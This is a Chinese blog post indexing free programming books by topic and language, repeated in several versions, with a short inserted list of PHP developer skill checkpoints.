免费的编程中文书籍索引【收藏速度】
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/chinahuyong/article/details/45060203
语言无关类
优质博客
PyTab在线手册中心
ImportNew
廖雪峰的官方网站
程序员博客墙
操作系统
开源世界旅行手册
鸟哥的Linux私房菜
Linux 系统高级编程
The Linux Command Line (中英文版)
Linux 设备驱动 (第三版)
深入分析Linux内核源码
UNIX TOOLBOX
Docker中文指南
Docker —— 从入门到实践
FreeRADIUS新手入门
Mac 开发配置手册
FreeBSD 使用手册
Linux 命令行(中文版)
Linux 构建指南
Linux工具快速教程
理解Linux进程
Linux From Scratch systemd 中文翻译
智能系统
一步步搭建物联网系统
WEB服务器
Nginx开发从入门到精通 (淘宝团队出品)
Nginx教程从入门到精通(PDF版本,运维生存时间出品)
Apache 中文手册
Elasticsearch权威指南
版本控制
Git教程 (本文由 @廖雪峰 创作,如果觉得本教程对您有帮助,可以去 iTunes 购买)
git - 简易指南
猴子都能懂的GIT入门
Git 参考手册
Pro Git
Pro Git 中文版 (整理在gitbook上)
Git Magic
GotGitHub
Git Community Book 中文版
Mercurial 使用教程
HgInit (中文版)
沉浸式学 Git
Git-Cheat-Sheet (感谢 @flyhigher139 翻译了中文版)
GitHub秘籍
Github帮助文档
git-flow 备忘清单
编辑器
exvim--vim 改良成IDE项目
笨方法学Vimscript 中译本
Vim中文文档
所需即所获:像 IDE 一样使用 vim
NoSQL
NoSQL数据库笔谈 (PDF)
Redis 设计与实现
Redis 命令参考
带有详细注释的 Redis 3.0 代码
带有详细注释的 Redis 2.6 代码
The Little MongoDB Book
The Little Redis Book
Neo4j 简体中文手册 v1.8
Neo4j .rb 中文資源
PostgreSQL
PostgreSQL 8.2.3 中文文档
MySQL
MySQL索引背后的数据结构及算法原理
21分钟MySQL入门教程
项目相关
持续集成(第二版) (译言网)
让开发自动化系列专栏
追求代码质量
selenium 中文文档
Joel谈软件
約耳談軟體(Joel on Software)
Gradle 2 用户指南
编码规范
开源软件架构
设计模式
图说设计模式
史上最全设计模式导学目录
Web
关于浏览器和网络的 20 项须知
前端知识体系
浏览器开发工具的秘密
Chrome 开发者工具中文手册
Chrome扩展开发文档
Grunt中文文档
Yeoman中文文档
移动Web前端知识库
正则表达式30分钟入门教程
前端开发体系建设日记
移动前端开发收藏夹
JSON风格指南
HTTP 接口设计指北
前端资源分享(一)
前端资源分享(二)
前端代码规范 及 最佳实践
w3school教程整理
Wireshark用户手册
HTTP 下午茶
HTTP/2.0 中文翻译
大数据
大数据/数据挖掘/推荐系统/机器学习相关资源
面向程序员的数据挖掘指南
大型集群上的快速和通用数据处理架构
数据挖掘中经典的算法实现和详细的注释
编程艺术
程序员编程艺术
每个程序员都应该了解的内存知识(译)【第一部分】
取悦的工序:如何理解游戏 (豆瓣阅读,免费书籍)
编程技巧总汇
其它
OpenWrt智能、自动、透明FQ路由器教程
SAN 管理入门系列
Sketch 中文手册
语言相关类
Android
Android Design(中文版)
Google Material Design 正體中文版 (译本一 译本二)
Google Android官方培训课程中文版
Android学习之路
Android开发技术前线(android-tech-frontier)
AWK
awk程序设计语言
C/C++
C++ 并发编程指南 (@傅海平ICT)
Linux C编程一站式学习 (宋劲杉, 北京亚嵌教育研究中心)
CGDB中文手册
100个gdb小技巧
100个gcc小技巧
ZMQ 指南
How to Think Like a Computer Scientist (中英文版)
跟我一起写Makefile(PDF)
GNU make中文手册
GNU make 指南
Google C++ 风格指南
C/C++ Primer (by @andycai)
简单易懂的C魔法
Cmake 实践 (PDF版)
C++ FAQ LITE(中文版)
C++ Primer 5th Answers
CSS
学习CSS布局
通用 CSS 笔记、建议与指导
CSS参考手册
Emmet 文档
前端代码规范 (腾讯alloyteam团队)
HTML和CSS编码规范
Sass Guidelines 中文
Dart
Dart 语言导览
Erlang
21天学通Erlang
Fortran
Fortran77和90/95编程入门
Go
Go编程基础
Go入门指南
学习Go语言 (PDF)
Go Web 编程 (此书已经出版,希望开发者们去购买,支持作者的创作)
Go实战开发 (当我收录此项目时,作者已经写完第三章,如果读完前面章节觉得有帮助,可以给作者捐赠,以鼓励作者的继续创作)
Network programming with Go 中文翻译版本
Effective Go
Groovy
实战 Groovy 系列
Haskell
Real World Haskell 中文版
Haskell趣学指南
iOS
iOS开发60分钟入门
iOS7人机界面指南
Google Objective-C Style Guide 中文版
iPhone 6 屏幕揭秘
Apple Watch开发初探
马上着手开发 iOS 应用程序
网易斯坦福大学公开课:iOS 7应用开发字幕文件
Java
Apache Shiro 用户指南
Jersey 2.x 用户指南
Spring Framework 4.x参考文档
Spring Boot参考指南 (翻译中)
MyBatis中文文档
用jersey构建REST服务
Activiti 5.x 用户指南
Google Java编程风格指南
Netty 4.x 用户指南
Netty 实战(精髓)
REST 实战
Java 编码规范
Apache MINA 2 用户指南
JavaScript
Google JavaScript 代码风格指南
Google JSON 风格指南
Airbnb JavaScript 规范
JavaScript 标准参考教程(alpha)
Javascript编程指南 (源码)
javascript 的 12 个怪癖
JavaScript 秘密花园
JavaScript核心概念及实践 (PDF) (此书已由人民邮电出版社出版发行,但作者依然免费提供PDF版本,希望开发者们去购买,支持作者)
《JavaScript 模式》 “JavaScript patterns”中译本
命名函数表达式探秘 (注:原文由为之漫笔翻译,原始地址无法打开,所以此处地址为我博客上的备份)
学用 JavaScript 设计模式 (开源中国)
深入理解JavaScript系列
ECMAScript 6 入门 (作者:阮一峰)
jQuery
jQuery 解构
简单易懂的JQuery魔法
How to write jQuery plugin
Node.js
Node入门
七天学会NodeJS
Nodejs Wiki Book (繁体中文)
express.js 中文文档
koa 中文文档
使用 Express + MongoDB 搭建多人博客
Express框架
Node.js 包教不包会
Learn You The Node.js For Much Win! (中文版)
Node debug 三法三例
nodejs中文文档
underscore.jsUnderscore.js中文文档
backbone.js
backbone.js入门教程 (PDF)
Backbone.js入门教程第二版
Developing Backbone.js Applications(中文版)
AngularJS
AngularJS最佳实践和风格指南
AngularJS中译本
AngularJS入门教程
构建自己的AngularJS
在Windows环境下用Yeoman构建AngularJS项目
Zepto.jsZepto.js 中文文档
Sea.jsHello Sea.js
React.jsReact.js 中文文档
CoffeeScript
CoffeeScript Cookbook
The Little Book on CoffeeScript中文版
CoffeeScript 编码风格指南
ExtJSExt4.1.0 中文文档
MeteorDiscover Meteor
Chrome扩展及应用开发
LaTeX
一份其实很短的 LaTeX 入门文档
一份不太简短的 LATEX 2ε 介绍 (PDF版)
LISP
ANSI Common Lisp 中文翻譯版
Lua
Lua编程入门
Lua 5.1 参考手册 中文翻译
Lua 5.3 参考手册 中文翻译
Perl
Modern Perl 中文版
Perl 程序员应该知道的事
PHP
PHP调试技术手册(PDF)
XDebug 2中文手册(译) (CHM)
PHP之道
PHP 最佳实践
PHP 开发者实践
深入理解PHP内核
PHP扩展开发及内核应用
CodeIgniter 用户指南
Laravel4 中文文档
Laravel 入门
Symfony2中文文档 (未译完)
Phalcon中文文档(翻译进行中)
YiiBook几本Yii框架的在线教程
深入理解 Yii 2.0
Yii 框架中文文檔
简单易懂的PHP魔法
swoole文档及入门教程
Composer 中文网
Slim 中文文档
Prolog
笨办法学Prolog
Python
小白的Python教程
简明Python教程
零基础学Python
可爱的 Python
Python 2.7 官方教程中文版
Python 3.3 官方教程中文版
深入 Python 3
PEP8 Python代码风格规范
Google Python 风格指南 中文版
Python入门教程 (PDF)
Python的神奇方法指南
笨办法学 Python (PDF版下载)
Django 1.5 文档中文版 正在翻译中
Diango 1.7 文档中文版 正在翻译中,目前只翻译了目录
Django 最佳实践
Django搭建简易博客教程
The Django Book 中文版
web.py 0.3 新手指南
Web.py Cookbook 简体中文版
Dive Into Python 中文版
Bottle 文档中文版 (需FQ)
Flask 文档中文版
Jinja2 文档中文版
Werkzeug 文档中文版
Flask之旅
Introduction to Tornado 中文翻译
Python自然语言处理中文版 (感谢陈涛同学的翻译,也谢谢 @shwley 联系了作者)
Python 绘图库 matplotlib 官方指南中文翻译
Scrapy 0.25 文档
ThinkPython
Python快速教程
Python 正则表达式操作指南
python初级教程:入门详解
Python Cookbook 第3版 中文版
Twisted 与异步编程入门
TextGrocery 中文 API ( 基于svm算法的一个短文本分类 Python 库 )
Requests: HTTP for Humans
Pillow 中文文档
R
R语言忍者秘笈
Ruby
Ruby 风格指南
Rails 风格指南
笨方法學 Ruby
Ruby on Rails 指南
Ruby on Rails 實戰聖經
Ruby on Rails Tutorial 原书第 3 版 (本书网页版免费提供,电子版以 PDF、EPub 和 Mobi 格式提供购买,仅售 9.9 美元)
编写Ruby的C拓展
Ruby 源码解读
Scala
Scala课堂 (Twitter的Scala中文教程)
Effective Scala(Twitter的Scala最佳实践的中文翻译)
Scala指南
Scheme
Yet Another Scheme Tutorial Scheme入门教程
Scheme语言简明教程
Shell
Shell脚本编程30分钟入门
Bash脚本15分钟进阶教程
Linux工具快速教程
shell十三问
Swift
The Swift Programming Language 中文版
Swift 语言指南
Stanford 公开课,Developing iOS 8 Apps with Swift 字幕翻译文件
读书笔记及其它
编译原理(紫龙书)中文第2版习题答案
把《编程珠玑》读薄
Effective C++读书笔记
Golang 学习笔记、Python 学习笔记、C 学习笔记 (PDF)
Jsoup 学习笔记
学习笔记: Vim、Python、memcached
图灵开放书翻译计划--C++、Python、Java等
蒂姆·奥莱利随笔 (由译言网翻译,电子版免费)
Octave 入门 (PDF版)
SICP 解题集
精彩博客集合
正则表达式简明参考
中文文案排版指北
Standard C 语言标准函数库速查 (Cheat Sheet)
Git Cheatsheet Chs
JavaScript语言精粹
制造开源软件
提问的智慧
Markdown 入门参考
测试相关
移动APP自动化测试优秀框架Appium API Reference V1.2.0 CN
作者: EricHu 出处:http://www.cnblogs.com/huyong/ Email:406590790@qq.com QQ交流:406590790 关于作者:高级工程师、信息系统项目管理师、DBA。专注于微软平台项目架构、管理和企业解决方案,多年项目开发与管理经验,曾多次组织并开发多个大型项目,在面向对象、面向服务以及数据库领域有一定的造诣。现主要从事基于 RDIFramework.NET 框架的技术开发、咨询工作,主要服务于金融、医疗卫生、铁路、电信、物流、物联网、制造、零售等行业。 如有问题或建议,请多多赐教! 本文版权归作者和CNBLOGS博客共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,如有问题,可以通过邮箱或QQ 联系我,非常感谢。
关于毕业五年PHP成长疑惑
1.PHP语法基础是否都会,比如异常捕捉,面向对象,数组操作语法,字符串操作,cookie,session,全局变量,超全局数组,防止sql注入,mysql预处理2.MYSQL基础语法,字段设计,原生sql语句,如何优化查询效率,索引如何使用,分组聚合,表关联(一对多,多对多),分库分表,3.服务器:lnmp如何搭建,在搭建过程中,发生那些奇怪问题(PHP文件无法解析,访问PHP文件直接下载下来,vhost如何配置,php-fpm如何重启),你如何解决的?4.API设计,访问控制权限(令牌模式访问API),如何防止API恶意调用,如何进行API版本控制,API错误返回码如何定义,postman工具使用5.代码管理工具svn,git 如何进行代码合并,如何提交,jenkins代码自动发布构建,如何更新数据库字段6.开发规范:local->dev->release->master (开发环境-》测试环境-》预发布环境-》正式环境)7.开发工具使用:会使用debug吗,还在傻傻用echo,var_dump()?8.框架 ThinkPHP,Yii,Laravel,是否阅读过源码,swoole了解过吗9.高并发,大流量如何解决,负载均衡,服务器集群,微服务了解过吗10.第三方API开发,微信公众号(API调用学习),微信小程序(登陆授权流程),(支付宝,微信支付支付流程)
免费的编程中文书籍索引【必须转载、有空必看】
免费的编程中文书籍索引
免费的编程中文书籍索引
国外程序员在 stackoverflow 推荐的程序员必读书籍,中文版。
stackoverflow 上的程序员应该阅读的非编程类书籍有哪些? 中文版
github 上的一个流行的编程书籍索引 中文版
目录
语言无关类
操作系统
智能系统
分布式系统
编译原理
函数式概念
计算机图形学
WEB服务器
版本控制
编辑器
NoSQL
PostgreSQL
MySQL
管理和监控
项目相关
设计模式
Web
大数据
编程艺术
其它
语言相关类
Android
APP
AWK
C/C++
C#
Clojure
CSS/HTML
Dart
Elixir
Erlang
Fortran
Go
Groovy
Haskell
iOS
Java
JavaScript
LaTeX
LISP
Lua
OCaml
Perl
PHP
Prolog
Python
R
Ruby
Rust
Scala
Shell
Swift
读书笔记及其它
测试相关
语言无关类
操作系统
开源世界旅行手册
鸟哥的Linux私房菜
The Linux Command Line (中英文版)
Linux 设备驱动 (第三版)
深入分析Linux内核源码
UNIX TOOLBOX
Docker中文指南
Docker —— 从入门到实践
Docker入门实战
Docker Cheat Sheet
FreeRADIUS新手入门
Mac 开发配置手册
FreeBSD 使用手册
Linux 命令行(中文版)
Linux 构建指南
Linux工具快速教程
Linux Documentation (中文版)
嵌入式 Linux 知识库 (eLinux.org 中文版)
理解Linux进程
命令行的艺术
SystemTap新手指南
操作系统思考
智能系统
一步步搭建物联网系统
分布式系统
走向分布式
编译原理
《计算机程序的结构和解释》公开课 翻译项目
函数式概念
傻瓜函数编程
计算机图形学
OpenGL 教程
WebGL自学网
WEB服务器
Nginx开发从入门到精通 (淘宝团队出品)
Nginx教程从入门到精通(PDF版本,运维生存时间出品)
OpenResty最佳实践
Apache 中文手册
版本控制
Git教程 (本文由 廖雪峰 创作,如果觉得本教程对您有帮助,可以去 iTunes 购买)
git - 简易指南
猴子都能懂的GIT入门
Git 参考手册
Pro Git
Pro Git 中文版 (整理在gitbook上)
Git Magic
GotGitHub
Git权威指南
Git Community Book 中文版
Mercurial 使用教程
HgInit (中文版)
沉浸式学 Git
Git-Cheat-Sheet (感谢 @flyhigher139 翻译了中文版)
GitHub秘籍
GitHub帮助文档
git-flow 备忘清单
svn 手册
GitHub漫游指南
编辑器
exvim--vim 改良成IDE项目
笨方法学Vimscript 中译本
Vim中文文档
所需即所获:像 IDE 一样使用 vim
Atom飞行手册中文版
Markdown·简单的世界
一年成为 Emacs 高手
Emacs 生存指南
Atom官方手册
NoSQL
NoSQL数据库笔谈
Redis 设计与实现
Redis 命令参考
带有详细注释的 Redis 3.0 代码
带有详细注释的 Redis 2.6 代码
The Little MongoDB Book
The Little Redis Book
Neo4j 简体中文手册 v1.8
Neo4j .rb 中文資源
Disque 使用教程
Apache Spark 设计与实现
PostgreSQL
PostgreSQL 8.2.3 中文文档
PostgreSQL 9.3.1 中文文档
PostgreSQL 9.5.3 中文文档
MySQL
MySQL索引背后的数据结构及算法原理
21分钟MySQL入门教程
管理和监控
ELKstack 中文指南
Mastering Elasticsearch(中文版)
ElasticSearch 权威指南
Elasticsearch 权威指南(中文版)
Logstash 最佳实践
Puppet 2.7 Cookbook 中文版
项目相关
持续集成(第二版) (译言网)
让开发自动化系列专栏
追求代码质量
selenium 中文文档
Selenium Webdriver 简易教程
Joel谈软件
約耳談軟體(Joel on Software)
Gradle 2 用户指南
Gradle 中文使用文档
编码规范
开源软件架构
GNU make 指南
GNU make 中文手册
The Twelve-Factor App
设计模式
图说设计模式
史上最全设计模式导学目录
design pattern 包教不包会
设计模式 Java 版
Web
关于浏览器和网络的 20 项须知
浏览器开发工具的秘密
Chrome 开发者工具中文手册
Chrome扩展开发文档
Grunt中文文档
gulp中文文档
Gulp 入门指南
移动Web前端知识库
正则表达式30分钟入门教程
前端开发体系建设日记
移动前端开发收藏夹
JSON风格指南
HTTP 接口设计指北
前端资源分享(一)
前端资源分享(二)
前端代码规范 及 最佳实践
前端开发者手册
前端工程师手册
w3school教程整理
Wireshark用户手册
一站式学习Wireshark
HTTP 下午茶
HTTP/2.0 中文翻译
RFC 7540 - HTTP/2 中文翻译版
http2讲解
3 Web Designs in 3 Weeks
站点可靠性工程
大数据
大数据/数据挖掘/推荐系统/机器学习相关资源
面向程序员的数据挖掘指南
大型集群上的快速和通用数据处理架构
数据挖掘中经典的算法实现和详细的注释
Spark 编程指南简体中文版
编程艺术
程序员编程艺术
每个程序员都应该了解的内存知识(译)【第一部分】
取悦的工序:如何理解游戏 (豆瓣阅读,免费书籍)
其它
SAN 管理入门系列
Sketch 中文手册
深入理解并行编程
程序员的自我修养
Growth: 全栈增长工程师指南
语言相关类
Android
Android Design(中文版)
Google Material Design 正體中文版 (译本一 译本二)
Material Design 中文版
Google Android官方培训课程中文版
Android学习之路
Android开发技术前线(android-tech-frontier)
Point-of-Android Android 一些重要知识点解析整理
Android6.0新特性详解
APP
Apache Cordova 开发指南
AWK
awk程序设计语言
awk中文指南
C/C++
C/C++ 中文参考手册 (欢迎大家参与在线翻译和校对)
C 语言编程透视
C++ 并发编程指南
Linux C编程一站式学习 (宋劲杉, 北京亚嵌教育研究中心)
CGDB中文手册
100个gdb小技巧
100个gcc小技巧
ZMQ 指南
How to Think Like a Computer Scientist (中英文版)
跟我一起写Makefile(PDF)
GNU make中文手册
GNU make 指南
Google C++ 风格指南
C/C++ Primer (by @andycai)
简单易懂的C魔法
Cmake 实践 (PDF版)
C++ FAQ LITE(中文版)
C++ Primer 5th Answers
C++ 并发编程(基于C++11)
QT 教程
DevBean的《Qt学习之路2》(Qt5)
C++ Template 进阶指南
libuv中文教程
Boost 库中文教程
笨办法学C
C#
MSDN C# 中文文档
.NET 类库参考
ASP.NET MVC 5 入门指南
超全面的 .NET GDI+ 图形图像编程教程
.NET控件开发基础
.NET开发要点精讲(初稿)
Clojure
Clojure入门教程
<h3 id="csshtml">CSS/HTML</h3>
学习CSS布局
通用 CSS 笔记、建议与指导
CSS参考手册
Emmet 文档
前端代码规范 (腾讯 AlloyTeam 团队)
HTML和CSS编码规范
Sass Guidelines 中文
CSS3 Tutorial 《CSS3 教程》
MDN HTML 中文文档
MDN CSS 中文文档
Dart
Dart 语言导览
Elixir
Elixir编程入门
Erlang
21天学通Erlang
Fortran
Fortran77和90/95编程入门
Go
Go编程基础
Go入门指南
学习Go语言
Go Web 编程 (此书已经出版,希望开发者们去购买,支持作者的创作)
Go实战开发 (当我收录此项目时,作者已经写完第三章,如果读完前面章节觉得有帮助,可以给作者捐赠,以鼓励作者的继续创作)
Network programming with Go 中文翻译版本
Effective Go
Go 语言标准库
Golang标准库文档
Revel 框架手册
Java程序员的Golang入门指南
Go命令教程
Go语言博客实践
Go 官方文档翻译
深入解析Go
Go语言圣经(中文版) (GitBook)
Groovy
实战 Groovy 系列
Haskell
Real World Haskell 中文版
Haskell趣学指南
iOS
iOS开发60分钟入门
iOS7人机界面指南
Google Objective-C Style Guide 中文版
iPhone 6 屏幕揭秘
Apple Watch开发初探
马上着手开发 iOS 应用程序
网易斯坦福大学公开课:iOS 7应用开发字幕文件
Java
Apache Shiro 用户指南
Jersey 2.x 用户指南
Spring Framework 4.x参考文档
Spring Boot参考指南 (翻译中)
MyBatis中文文档
MyBatis Generator 中文文档
用jersey构建REST服务
Activiti 5.x 用户指南
Google Java编程风格指南
Netty 4.x 用户指南
Netty 实战(精髓)
REST 实战
Java 编码规范
Apache MINA 2 用户指南
H2 Database 教程
Java Servlet 3.1 规范
JSSE 参考指南
Java开源实现及最佳实践
Java 编程要点
Think Java
Java 8 简明教程
JavaScript
Google JavaScript 代码风格指南
Google JSON 风格指南
Airbnb JavaScript 规范
JavaScript 标准参考教程(alpha)
Javascript编程指南 (源码)
javascript 的 12 个怪癖
JavaScript 秘密花园
JavaScript核心概念及实践 (PDF) (此书已由人民邮电出版社出版发行,但作者依然免费提供PDF版本,希望开发者们去购买,支持作者)
《JavaScript 模式》 “JavaScript patterns”中译本
命名函数表达式探秘 (注:原文由为之漫笔翻译,原始地址无法打开,所以此处地址为我博客上的备份)
学用 JavaScript 设计模式 (开源中国)
深入理解JavaScript系列
ECMAScript 5.1 中文版
ECMAScript 6 入门 (作者:阮一峰)
JavaScript Promise迷你书
You-Dont-Know-JS (深入JavaScript语言核心机制的系列图书)
JavaScript 教程 廖雪峰
MDN JavaScript 中文文档
jQuery
jQuery 解构
简单易懂的JQuery魔法
How to write jQuery plugin
You Don't Need jQuery
如何实现一个类jQuery?
Node.js
Node入门
七天学会NodeJS
Nodejs Wiki Book (繁体中文)
express.js 中文文档
koa 中文文档
一起学koa
使用 Express + MongoDB 搭建多人博客
Express框架
Node.js 包教不包会
Learn You The Node.js For Much Win! (中文版)
Node debug 三法三例
nodejs中文文档
orm2 中文文档
underscore.js
Underscore.js中文文档
backbone.js
backbone.js中文文档
backbone.js入门教程 (PDF)
Backbone.js入门教程第二版
Developing Backbone.js Applications(中文版)
AngularJS
AngularJS最佳实践和风格指南
AngularJS中译本
AngularJS入门教程
构建自己的AngularJS
在Windows环境下用Yeoman构建AngularJS项目
Zepto.js
Zepto.js 中文文档
Sea.js
Hello Sea.js
React.js
React.js 中文文档
React webpack-cookbook
React 入门教程
React Native 中文文档(含最新Android内容)
Learn React & Webpack by building the Hacker News front page
impress.js
impress.js的中文教程
CoffeeScript
CoffeeScript Cookbook
The Little Book on CoffeeScript中文版
CoffeeScript 编码风格指南
TypeScipt
TypeScript Handbook
ExtJS
Ext4.1.0 中文文档
Meteor
Discover Meteor
Meteor 中文文档
Angular-Meteor 中文教程
Chrome扩展及应用开发
LaTeX
一份其实很短的 LaTeX 入门文档
一份不太简短的 LATEX 2ε 介绍 (PDF版)
LISP
Common Lisp
ANSI Common Lisp 中文翻譯版
On Lisp 中文翻译版本
Scheme
Yet Another Scheme Tutorial Scheme入门教程
Scheme语言简明教程
Racket
Racket book
Lua
Lua编程入门
Lua 5.1 参考手册 中文翻译
Lua 5.3 参考手册 中文翻译
Lua源码欣赏
OCaml
Real World OCaml
Perl
Modern Perl 中文版
Perl 程序员应该知道的事
PHP
PHP 官方手册
PHP调试技术手册(PDF)
PHP之道:php-the-right-way (@wulijun版 PHPHub版)
PHP 最佳实践
PHP 开发者实践
深入理解PHP内核
PHP扩展开发及内核应用
Laravel5.1 中文文档
Laravel 5.1 LTS 速查表
Symfony2 Cookbook 中文版(版本 2.7.0 LTS)
Symfony2中文文档 (未译完)
YiiBook几本Yii框架的在线教程
深入理解 Yii 2.0
Yii 框架中文文檔
简单易懂的PHP魔法
swoole文档及入门教程
Composer 中文网
Slim 中文文档
Lumen 中文文档
PHPUnit 中文文档
Prolog
笨办法学Prolog
Python
廖雪峰 Python 2.7 中文教程
廖雪峰 Python 3 中文教程
简明Python教程
零基础学 Python 第一版
零基础学 Python 第二版
可爱的 Python
Python 2.7 官方教程中文版
Python 3.3 官方教程中文版
Python Cookbook 中文版
Python3 Cookbook 中文版
深入 Python
深入 Python 3
PEP8 Python代码风格规范
Google Python 风格指南 中文版
Python入门教程 (PDF)
笨办法学 Python (PDF EPUB)
Python自然语言处理中文版 (感谢陈涛同学的翻译,也谢谢 @shwley 联系了作者)
Python 绘图库 matplotlib 官方指南中文翻译
Scrapy 0.25 文档
ThinkPython
ThinkPython 2ed
Python快速教程
Python 正则表达式操作指南
python初级教程:入门详解
Twisted 与异步编程入门
TextGrocery 中文 API ( 基于svm算法的一个短文本分类 Python 库 )
Requests: HTTP for Humans
Pillow 中文文档
PyMOTW 中文版
Python 官方文档中文版
Fabric 中文文档
Beautiful Soup 4.2.0 中文文档
用Python做科学计算
Sphinx 中文文档
精通 Python 设计模式
python 安全编程教程
程序设计思想与方法
知乎周刊·编程小白学Python
Scipy 讲义
Python 学习笔记 基础篇
Python 学习笔记 模块篇
Python 标准库 中文版
Python进阶
Python 核心编程 第二版 CPyUG译
Python最佳实践指南
Python 精要教程
Python 量化交易教程
Django
Django 1.5 文档中文版 正在翻译中
Diango 1.7 文档中文版 正在翻译中,目前只翻译了目录
Django 1.8.2 文档中文版
正在翻译中
Django 最佳实践
Django搭建简易博客教程
The Django Book 中文版
Django 设计模式与最佳实践
Django 网站开发 Cookbook
Django Girls 學習指南
Flask
Flask 文档中文版
Jinja2 文档中文版
Werkzeug 文档中文版
Flask之旅
Flask 扩展文档汇总
Flask 大型教程
SQLAlchemy 中文文档
web.py
web.py 0.3 新手指南
Web.py Cookbook 简体中文版
Tornado
Introduction to Tornado 中文翻译
Tornado源码解析
Tornado 4.3 文档中文版
R
R语言忍者秘笈
Ruby
Ruby 风格指南
Rails 风格指南
笨方法學 Ruby
Ruby on Rails 指南
Ruby on Rails 實戰聖經
Ruby on Rails Tutorial 原书第 3 版 (本书网页版免费提供,电子版以 PDF、EPub 和 Mobi 格式提供购买,仅售 9.9 美元)
Rails 实践
Rails 5 开发进阶(Beta)
Rails 102
编写Ruby的C拓展
Ruby 源码解读
Ruby中的元编程
Rust
rust book 中文翻译
rust primer
Scala
Scala课堂 (Twitter的Scala中文教程)
Effective Scala(Twitter的Scala最佳实践的中文翻译)
Scala指南
Shell
Shell脚本编程30分钟入门
Bash脚本15分钟进阶教程
Linux工具快速教程
shell十三问
Shell编程范例
Swift
The Swift Programming Language 中文版
Swift 语言指南
Stanford 公开课,Developing iOS 8 Apps with Swift 字幕翻译文件
C4iOS - COSMOS
读书笔记及其它
编译原理(紫龙书)中文第2版习题答案
把《编程珠玑》读薄
Effective C++读书笔记
Golang 学习笔记、Python 学习笔记、C 学习笔记 (PDF)
Jsoup 学习笔记
学习笔记: Vim、Python、memcached
图灵开放书翻译计划--C++、Python、Java等
蒂姆·奥莱利随笔 (由译言网翻译,电子版免费)
SICP 解题集
精彩博客集合
中文文案排版指北
Standard C 语言标准函数库速查 (Cheat Sheet)
Git Cheatsheet Chs
GitBook简明教程
JavaScript语言精粹
制造开源软件
提问的智慧
Markdown 入门参考
AsciiDoc简明指南
背包问题九讲
老齐的技术资料
前端技能汇总
借助开源项目,学习软件开发
前端工作面试问题
leetcode/lintcode题解/算法学习笔记
前端开发笔记本
测试相关
移动APP自动化测试优秀框架Appium API Reference V1.2.0 CN
开源电子书
目录
语言无关类
操作系统
智能系统
分布式系统
编译原理
函数式概念
计算机图形学
WEB服务器
版本控制
编辑器
NoSQL
PostgreSQL
MySQL
管理和监控
项目相关
设计模式
Web
大数据
编程艺术
其它
语言相关类
Android
APP
AWK
C/C++
C#
Clojure
CSS/HTML
Dart
Elixir
Erlang
Fortran
Go
Groovy
Haskell
iOS
Java
JavaScript
LaTeX
LISP
Lua
OCaml
Perl
PHP
Prolog
Python
R
Ruby
Rust
Scala
Shell
Swift
读书笔记及其它
测试相关
语言无关类
操作系统
Debian参考手册
开源世界旅行手册
鸟哥的Linux私房菜
The Linux Command Line (中英文版)
Linux 设备驱动 (第三版)
深入分析Linux内核源码
UNIX TOOLBOX
Docker中文指南
Docker —— 从入门到实践
Docker入门实战
Docker Cheat Sheet
FreeRADIUS新手入门
Mac 开发配置手册
FreeBSD 使用手册
Linux 命令行(中文版)
Linux 构建指南
Linux工具快速教程
Linux Documentation (中文版)
嵌入式 Linux 知识库 (eLinux.org 中文版)
理解Linux进程
命令行的艺术
SystemTap新手指南
操作系统思考
智能系统
一步步搭建物联网系统
分布式系统
走向分布式
编译原理
《计算机程序的结构和解释》公开课 翻译项目
函数式概念
傻瓜函数编程
计算机图形学
OpenGL 教程
WebGL自学网
WEB服务器
Nginx开发从入门到精通 (淘宝团队出品)
Nginx教程从入门到精通(PDF版本,运维生存时间出品)
OpenResty最佳实践
Apache 中文手册
版本控制
Git教程 (本文由 廖雪峰 创作,如果觉得本教程对您有帮助,可以去 iTunes 购买)
git - 简易指南
猴子都能懂的GIT入门
Git 参考手册
Pro Git
Pro Git 中文版 (整理在gitbook上)
Git Magic
GotGitHub
Git权威指南
Git Community Book 中文版
Mercurial 使用教程
HgInit (中文版)
沉浸式学 Git
Git-Cheat-Sheet (感谢 @flyhigher139 翻译了中文版)
GitHub秘籍
GitHub帮助文档
git-flow 备忘清单
svn 手册
GitHub漫游指南
编辑器
exvim--vim 改良成IDE项目
笨方法学Vimscript 中译本
Vim中文文档
所需即所获:像 IDE 一样使用 vim
Atom飞行手册中文版
Markdown·简单的世界
一年成为 Emacs 高手
Emacs 生存指南
Atom官方手册
NoSQL
NoSQL数据库笔谈
Redis 设计与实现
Redis 命令参考
带有详细注释的 Redis 3.0 代码
带有详细注释的 Redis 2.6 代码
The Little MongoDB Book
The Little Redis Book
Neo4j 简体中文手册 v1.8
Neo4j .rb 中文資源
Disque 使用教程
Apache Spark 设计与实现
PostgreSQL
PostgreSQL 8.2.3 中文文档
PostgreSQL 9.3.1 中文文档
PostgreSQL 9.5.3 中文文档
MySQL
MySQL索引背后的数据结构及算法原理
21分钟MySQL入门教程
管理和监控
ELKstack 中文指南
Mastering Elasticsearch(中文版)
ElasticSearch 权威指南
Elasticsearch 权威指南(中文版)
Logstash 最佳实践
Puppet 2.7 Cookbook 中文版
项目相关
持续集成(第二版) (译言网)
让开发自动化系列专栏
追求代码质量
selenium 中文文档
Selenium Webdriver 简易教程
Joel谈软件
約耳談軟體(Joel on Software)
Gradle 2 用户指南
Gradle 中文使用文档
编码规范
开源软件架构
GNU make 指南
GNU make 中文手册
The Twelve-Factor App
设计模式
图说设计模式
史上最全设计模式导学目录
design pattern 包教不包会
设计模式 Java 版
Web
关于浏览器和网络的 20 项须知
浏览器开发工具的秘密
Chrome 开发者工具中文手册
Chrome扩展开发文档
Grunt中文文档
gulp中文文档
Gulp 入门指南
移动Web前端知识库
正则表达式30分钟入门教程
前端开发体系建设日记
移动前端开发收藏夹
JSON风格指南
HTTP 接口设计指北
前端资源分享(一)
前端资源分享(二)
前端代码规范 及 最佳实践
前端开发者手册
前端工程师手册
w3school教程整理
Wireshark用户手册
一站式学习Wireshark
HTTP 下午茶
HTTP/2.0 中文翻译
RFC 7540 - HTTP/2 中文翻译版
http2讲解
3 Web Designs in 3 Weeks
站点可靠性工程
大数据
大数据/数据挖掘/推荐系统/机器学习相关资源
面向程序员的数据挖掘指南
大型集群上的快速和通用数据处理架构
数据挖掘中经典的算法实现和详细的注释
Spark 编程指南简体中文版
编程艺术
程序员编程艺术
每个程序员都应该了解的内存知识(译)【第一部分】
取悦的工序:如何理解游戏 (豆瓣阅读,免费书籍)
其它
OpenWrt智能、自动、透明FQ路由器教程
SAN 管理入门系列
Sketch 中文手册
